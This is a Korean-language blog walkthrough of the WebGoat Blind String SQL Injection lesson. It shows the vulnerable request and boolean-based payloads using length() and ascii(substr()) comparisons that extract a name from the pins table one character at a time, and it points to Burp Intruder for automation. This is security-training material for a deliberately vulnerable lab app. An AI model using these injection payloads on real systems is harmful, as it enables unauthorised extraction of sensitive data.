WebGoat(웹고트) Blind String SQL Injection
pins 테이블에서 cc_number 컬럼 값이 4321432143214321인 name 컬럼 값을 찾으면 문제해결
(1) Window xp에서 http://victim:8080/WebGoat/attack 사이트로 이동하여 목록에서 Blind String SQL Injection을 찾아 이동합니다. (webgoat / webgoat)
(2) 사용자 값이 서버로 전달되는 과정을 확인합니다.
=> Account Number: 계좌번호 입력
=> 전달과정은
POST attack?Screen=39&menu=1100
accunt_number=101&Submit=Go!
=> 서버 내부에서는
select * from accounts where account_number=101
존재하는 경우 Account number is valid. / 존재하지 않는 경우 Invalid account number.
(3) 공격자가 원하는 내용을 얻기 위해 값을 조작합니다.
공격자가 원하는 것은 cc_number가 4321432143214321인 name 컬럼 값!
공격 쿼리 형식은 다음과 같습니다.
[전체 문자열]
입력값 > select * from accounts where account_number=101 and (select name from pins where cc_number='4321432143214321') = '입력 값'
[문자열 한 개씩]
입력값 > select * from accounts where account_number=101 and (select ascii(substr(name, 1, 1)) from pins where cc_number='4321432143214321') = 아스키 코드 값
=> pins 테이블에서 cc_number가 4321432143214321인 name값을 조회하여 그 값이 입력 값과 동일한지 확인
=> 입력 값이 찾고자 하는 name값과 동일하면 Account number is valid.
=> 입력 값이 찾고자 하는 name값과 동일하지 않다면 Invalid account number.
참조 Ascii 값: 'A' = 65 / 'Z' = 90 / 'a' = 97 / 'z' = 122
(3)-1 사용자 이름이 몇글자인지 알아내기 위해 다음 입력값을 넣어봅니다. (빨간색 입력)
입력값 > select * from accounts where account_number=101 and length(select name from pins where cc_number='4321432143214321') > 4
=> 찾고자 하는 name 값의 길이는 4를 초과 하지 않습니다.
입력값 > select * from accounts where account_number=101 and length(select name from pins where cc_number='4321432143214321') > 3
=> 찾고자 하는 name 값의 길이는 3를 초과합니다.
=> 즉, 이름은 4글자입니다.
(3)-2 이름의 각 값을 알아내기 위해 해당 입력값을 넣고 GO를 클릭합니다.
입력값 > select * from accounts where account_number=101 and (select ascii(substr(name, 1, 1)) from pins where cc_number='4321432143214321') > 65
=> 찾고자 하는 name 값의 첫번째 자리는 65(A)를 초과합니다.
입력값 > select * from accounts where account_number=101 and (select ascii(substr(name, 1, 1)) from pins where cc_number='4321432143214321') > 77
=> 찾고자 하는 name 값의 첫번째 자리는 77(M)를 초과하지 않습니다.
=> 첫글자는 B부터 M 사이 값
입력값 > select * from accounts where account_number=101 and (select ascii(substr(name, 1, 1)) from pins where cc_number='4321432143214321') > 71
=> 찾고자 하는 name 값의 첫번째 자리는 71(G)을 초과합니다.
=> 첫글자는 H부터 M 사이 값
이런 방식으로 첫번째 글자를 찾습니다. 두 번째 글자도 같은 방식으로 substr(name, 2, 1)로 바꿔서 찾으면 됩니다.
* burp suite의 Intruder를 사용하면 쉽습니다.
* 사용하려고 보니까 Window xp(가상환경)에서 start attack이 안보임...(어디있니...)
* Intruder 사용 예제
[보안 취약점 진단 및 대응/Port Swigger:Lab] - Lab: Blind SQL injection with conditional responses
Lab: Blind SQL injection with conditional responses
Lab: Blind SQL injection with conditional responses https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses Lab: Blind SQL injection with conditional responses | Web Security Academy This lab contains a blind SQL injection vulner
psjin230.tistory.com
(4) 결과확인
입력값 > select * from accounts where account_number=101 and (select name from pins where cc_number='4321432143214321') = 'Jill'
=> 첫 번째 글자 J / 두 번째 글자 i / 세 번째 글자 l / 네 번째 글자 l
=> Jill입력 후 Go를 클릭하면 문제가 해결됩니다.